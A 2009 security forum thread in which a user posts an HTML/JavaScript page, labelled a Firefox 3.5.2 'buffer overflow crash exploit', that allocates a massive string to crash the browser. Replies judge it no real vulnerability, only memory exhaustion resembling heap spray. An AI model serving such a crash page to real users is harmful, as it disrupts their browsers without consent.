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Does this code crash your Firefox?
Posted by: XaDoS
Date: August 05, 2009 06:12PM

I write a code; but for me work, for the pc of my friend no: why?

tested on : WinXP Sp2 + Mozilla FIreFox 3.5.2 <= WORK

tested on: WinXP sp3 + MOzilla FIrefox 3.5 <= not work

it's true>? test by yuorself

code:


<html>
<head>
<title> [~] bUt Work? MOzilla Firefox 3.5.2 <= (char) Buffer Overflow crash exploit</title>
</head>
<script type="text/javascript">
var x=String.fromCharCode(120);
var a="";
var b="";
for(i=0;i<1024;i++)
{a=a+x;}
for(i=0;i<1024;i++)
{b=b+a;}
var c=x;
for(i=0;i<27;i++) c += c;
for(i=0;i<88;i++) c += b;
alert("G00d Bye!");
var thxstaker=escape(c); // :) a little bit..
alert(navigator.useragent);
alert('...');
alert('yes, the browser suck!')
</script>
<br>
Only For fun..
<br>
@ XaDoS August ~ 2009
</html>

----------------

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Re: Does this code crash your Firefox?
Posted by: sirdarckcat
Date: August 08, 2009 06:43AM

does not work.

if it crashes your computer is because you are allocating (trying to allocate) nearly 176 MB of memory. This is called heap spray and has real uses.

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

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Re: Does this code crash your Firefox?
Posted by: XaDoS
Date: August 08, 2009 08:37AM

yes i know. it's not a vulnerability...
only a script called maybe.... a bit bastard :)

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Re: Does this code crash your Firefox?
Posted by: PaPPy
Date: August 19, 2009 02:04PM

anyone else notice a thread right below this called the same exact thing with the same exact code?
and then the same exact reply but from a different user?

Re: Does this code crash your Firefox?
Posted by: Pavlovrm (IP Logged)
Date: August 14, 2009 03:57PM


yes i know. it's not a vulnerability...
only a script called maybe.... a bit bastard :)

SPOILER!!!!!!!!!!!!!!!!!!!
Pavlovrm = XaDos

http://www.xssed.com/archive/author=PaPPy/

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Re: Does this code crash your Firefox?
Posted by: Gareth Heyes
Date: August 19, 2009 02:10PM

Exploitable or not exploitable that's the question (hopefully !!exploitable):-
http://sla.ckers.org/forum/read.php?14,29563,29636#msg-29573

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Edited 1 time(s). Last edit at 08/19/2009 02:10PM by Gareth Heyes.

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